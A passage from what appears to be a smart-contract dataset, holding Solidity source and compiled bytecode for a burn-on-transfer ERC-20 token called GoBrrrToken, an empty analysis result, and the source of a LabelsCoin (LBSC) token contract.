* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract GoBrrrToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) private _balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
string private constant _name = "GOBRRR";
string private constant _symbol = "BRRR";
uint256 private constant _decimals = 18;
uint256 private _totalSupply = 2000 * (uint256(10) ** _decimals);
uint256 public transBurnrate = 30;//0.3%
constructor() public {
_owner = msg.sender;
// Initially assign all tokens to the contract's creator.
_balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256)
{
return _balanceOf[account];
}
function transfer(address to, uint256 value) public validRecipient(to) virtual override returns (bool)
{
require(_balanceOf[msg.sender] >= value);
uint256 remainrate = 10000;
remainrate = remainrate.sub(transBurnrate); //99.97%->99.97/10000
uint256 leftvalue = value.mul(remainrate);
leftvalue = leftvalue.sub(leftvalue.mod(10000));
leftvalue = leftvalue.div(10000);
_balanceOf[msg.sender] -= value; // deduct from sender's balance
_balanceOf[to] += leftvalue; // add to recipient's balance
uint256 decayvalue = value.sub(leftvalue); //3%->3/100->value-leftvalue
_totalSupply = _totalSupply.sub(decayvalue);
emit Transfer(msg.sender, address(0x0), decayvalue);
emit Transfer(msg.sender, to, leftvalue);
return true;
}
function transferFrom(address from, address to, uint256 value) public validRecipient(to) virtual override returns (bool)
{
require(value <= _balanceOf[from]);
require(value <= _allowance[from][msg.sender]);
uint256 remainrate = 10000;
remainrate = remainrate.sub(transBurnrate); //99.97%->99.97/10000
uint256 leftvalue = value.mul(remainrate);
leftvalue = leftvalue.sub(leftvalue.mod(10000));
leftvalue = leftvalue.div(10000);
_balanceOf[from] -= value;
_balanceOf[to] += leftvalue;
_allowance[from][msg.sender] -= value;
uint256 decayvalue = value.sub(leftvalue); //0.03%->3/10000->value-leftvalue
_totalSupply = _totalSupply.sub(decayvalue);
emit Transfer(from, address(0x0), decayvalue);
emit Transfer(from, to, leftvalue);
return true;
}
function approve(address spender, uint256 value) public virtual override returns (bool)
{
_allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256)
{
return _allowance[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool)
{
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool)
{
uint256 oldValue = _allowance[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowance[msg.sender][spender] = 0;
} else {
_allowance[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
function changetransBurnrate(uint256 _transBurnrate) external onlyOwner returns (bool) {
transBurnrate = _transBurnrate;
return true;
}
function mint(address account, uint256 amount) public onlyOwner {
require(account != address(0));
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balanceOf[account] = _balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063a9059cbb11610071578063a9059cbb14610535578063b2bdfa7b14610599578063dd62ed3e146105cd578063f2fde38b14610645578063f80a598d1461068957610116565b80638da5cb5b146103d657806395d89b411461040a578063a457c2d71461048d578063a66c6425146104f157610116565b8063313ce567116100e9578063313ce567146102a457806339509351146102c257806340c10f191461032657806370a0823114610374578063715018a6146103cc57610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020257806323b872dd14610220575b600080fd5b6101236106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e4565b60405180821515815260200191505060405180910390f35b61020a6107d6565b6040518082815260200191505060405180910390f35b61028c6004803603606081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e0565b60405180821515815260200191505060405180910390f35b6102ac610bd0565b6040518082815260200191505060405180910390f35b61030e600480360360408110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103726004803603604081101561033c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd5565b005b6103b66004803603602081101561038a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff6565b6040518082815260200191505060405180910390f35b6103d461103f565b005b6103de6111be565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104126111e7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610452578082015181840152602081019050610437565b50505050905090810190601f16801561047f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104d9600480360360408110156104a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611224565b60405180821515815260200191505060405180910390f35b61051d6004803603602081101561050757600080fd5b81019080803590602001909291905050506114b4565b60405180821515815260200191505060405180910390f35b6105816004803603604081101561054b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611587565b60405180821515815260200191505060405180910390f35b6105a1611863565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61062f600480360360408110156105e357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611887565b6040518082815260200191505060405180910390f35b6106876004803603602081101561065b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061190e565b005b610691611b12565b6040518082815260200191505060405180910390f35b60606040518060400160405280600681526020017f474f425252520000000000000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561081d57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561085657600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548311156108a257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561092b57600080fd5b6000612710905061094760045482611b1890919063ffffffff16565b9050600061095e8286611b3890919063ffffffff16565b905061098761097861271083611b7290919063ffffffff16565b82611b1890919063ffffffff16565b905061099e61271082611b9390919063ffffffff16565b905084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555084600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506000610ad98287611b1890919063ffffffff16565b9050610af081600354611b1890919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019450505050509392505050565b60006012905090565b6000610c6a82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed057600080fd5b610edc60008383611bd8565b610ef181600354611bb990919063ffffffff16565b600381905550610f4981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611100576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4252525200000000000000000000000000000000000000000000000000000000815250905090565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808310611334576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c8565b6113478382611b1890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60003373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611577576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8160048190555060019050919050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115c457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115fd57600080fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561164957600080fd5b6000612710905061166560045482611b1890919063ffffffff16565b9050600061167c8286611b3890919063ffffffff16565b90506116a561169661271083611b7290919063ffffffff16565b82611b1890919063ffffffff16565b90506116bc61271082611b9390919063ffffffff16565b905084600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600061176d8287611b1890919063ffffffff16565b905061178481600354611b1890919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611bde6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611b2757600080fd5b600082840390508091505092915050565b600080831415611b4b5760009050611b6c565b6000828402905082848281611b5c57fe5b0414611b6757600080fd5b809150505b92915050565b600080821415611b8157600080fd5b818381611b8a57fe5b06905092915050565b6000808211611ba157600080fd5b6000828481611bac57fe5b0490508091505092915050565b600080828401905083811015611bce57600080fd5b8091505092915050565b50505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220f2f17f7693a4e20e936aacbed5c59091b7d860fe57fb1d8db5f041aff39c1cda64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,111 |
0x44f70b3f2938dee203360f6fa2c11e7b59cf4c71
|
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BaseLBSCToken {
using SafeMath for uint256;
// Globals
address public owner;
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 internal totalSupply_;
// Events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed burner, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Mint(address indexed to, uint256 amount);
// Modifiers
modifier onlyOwner() {
require(msg.sender == owner,"Only the owner is allowed to call this.");
_;
}
constructor() public{
owner = msg.sender;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender], "You do not have sufficient balance.");
require(_to != address(0), "You cannot send tokens to 0 address");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
require(_value <= balances[_from], "You do not have sufficient balance.");
require(_value <= allowed[_from][msg.sender], "You do not have allowance.");
require(_to != address(0), "You cannot send tokens to 0 address");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256){
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool){
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool){
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who], "Insufficient balance of tokens");
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender], "Insufficient allowance to burn tokens.");
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Owner cannot be 0 address.");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract LBSCToken is BaseLBSCToken {
// Constants
string public constant name = "LabelsCoin";
string public constant symbol = "LBSC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 30000000 * (10 ** uint256(decimals));
//uint256 public constant CROWDSALE_ALLOWANCE = 1000000000 * (10 ** uint256(decimals));
uint256 public constant ADMIN_ALLOWANCE = 30000000 * (10 ** uint256(decimals));
// Properties
//uint256 public totalSupply;
//uint256 public crowdSaleAllowance; // the number of tokens available for crowdsales
uint256 public adminAllowance; // the number of tokens available for the administrator
//address public crowdSaleAddr; // the address of a crowdsale currently selling this token
address public adminAddr; // the address of a crowdsale currently selling this token
//bool public transferEnabled = false; // indicates if transferring tokens is enabled or not
bool public transferEnabled = true; // Enables everyone to transfer tokens
/**
* The listed addresses are not valid recipients of tokens.
*
* 0x0 - the zero address is not valid
* this - the contract itself should not receive tokens
* owner - the owner has all the initial tokens, but cannot receive any back
* adminAddr - the admin has an allowance of tokens to transfer, but does not receive any
* crowdSaleAddr - the crowdsale has an allowance of tokens to transfer, but does not receive any
*/
modifier validDestination(address _to) {
require(_to != address(0x0), "Cannot send to 0 address");
require(_to != address(this), "Cannot send to contract address");
//require(_to != owner, "Cannot send to the owner");
//require(_to != address(adminAddr), "Cannot send to admin address");
//require(_to != address(crowdSaleAddr), "Cannot send to crowdsale address");
_;
}
constructor(address _admin) public {
require(msg.sender != _admin, "Owner and admin cannot be the same");
totalSupply_ = INITIAL_SUPPLY;
adminAllowance = ADMIN_ALLOWANCE;
// mint all tokens
//balances[msg.sender] = totalSupply_.sub(adminAllowance);
//emit Transfer(address(0x0), msg.sender, totalSupply_.sub(adminAllowance));
balances[_admin] = adminAllowance;
emit Transfer(address(0x0), _admin, adminAllowance);
adminAddr = _admin;
approve(adminAddr, adminAllowance);
}
/**
* Overrides ERC20 transfer function with modifier that prevents the
* ability to transfer tokens until after transfers have been enabled.
*/
function transfer(address _to, uint256 _value) public validDestination(_to) returns (bool) {
return super.transfer(_to, _value);
}
/**
* Overrides ERC20 transferFrom function with modifier that prevents the
* ability to transfer tokens until after transfers have been enabled.
*/
function transferFrom(address _from, address _to, uint256 _value) public validDestination(_to) returns (bool) {
bool result = super.transferFrom(_from, _to, _value);
if (result) {
if (msg.sender == adminAddr)
adminAllowance = adminAllowance.sub(_value);
}
return result;
}
}
|
